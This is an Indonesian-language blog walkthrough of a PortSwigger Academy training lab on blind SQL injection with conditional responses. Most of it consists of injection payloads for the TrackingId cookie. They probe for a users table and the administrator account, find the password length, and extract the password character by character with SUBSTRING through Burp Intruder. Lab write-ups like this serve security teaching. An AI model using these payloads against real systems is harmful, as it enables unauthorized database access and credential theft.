Portswigger academy SQLi Lab: Blind SQL injection with conditional responses
Kali ini tantangan lab cukup sulit, karena blind sql tidak akan menampilkan respon di layar. Jadi harus menentukan kerentanan berdasarkan respon yang diberikan oleh web. Disini kita membutuhkan tools burpsuite.
Pada bagian tracking id tambahkan payload ' AND '1'='1 , sehingga menjadi:
' AND '1'='2, klik sendpada gambar diatas, respon tidak menampilkan pesan welcome back. Ini artinya kerentanan blind sql injection ini dapat kita manipulasi dan kita ambil data penting didalamnya dengan cara melihat respon baliknya. Ini diibaratkan seperti kita tidak tahu password dari administrator yang menjadi challange, tetapi kita bertanya satu-persatu untuk mengetahui kebenarannya. Seperti bertanya, apakah ada tabel administrator? apakah ada kolom password, dan sebagainya.
Cek apakah ada tabel users:
gunakan ' AND (SELECT 'a' FROM users LIMIT 1)='a
cek responnya.
Cek apakah ada user bernama administrator:
gunakan ' AND (SELECT 'a' FROM users WHERE username='administrator')='a
Pesan welcome back muncul kembali, artinya ada user bernama administrator.
Cek panjang password:
Kita sudah mengetahui ada tabel bernama users dan username bernama administrator, sekarang tentukan panjang karakter dari password.
Gunakan:
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>4)='a
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>5)='a
ulangin terus sampai pesan welcome back tidak muncul, pesan welcomback tidak muncul di angka 20. Itu artinya panjang karakter password adalah 20.
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>20)='a
Selanjutnya send message to intruder:
Gunakan fungsi substring
Fungsi substring akan berguna untuk mengesktrak single karakter dari password.
Tambahkan payload di cookie tracking dengan: ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
Tambahkan $a$ pada a diakhir payload, menjadi:
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='$a$
Setup payload pada intruder:
Selanjutnya start attack:
Caranya ubah payload menjadi :
' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='$a$
' AND (SELECT SUBSTRING(password,3,1) FROM users WHERE username='administrator')='$a$
' AND (SELECT SUBSTRING(password,4,1) FROM users WHERE username='administrator')='$a$
' AND (SELECT SUBSTRING(password,5,1) FROM users WHERE username='administrator')='$a$
' AND (SELECT SUBSTRING(password,6,1) FROM users WHERE username='administrator')='$a$
dan seterusnya sampai 20.
Nanti karakternya akan lengkap dan gunakan password tersebut untuk login dengan username administrator. Lab ini berhasil diselesaikan.



Komentar
Posting Komentar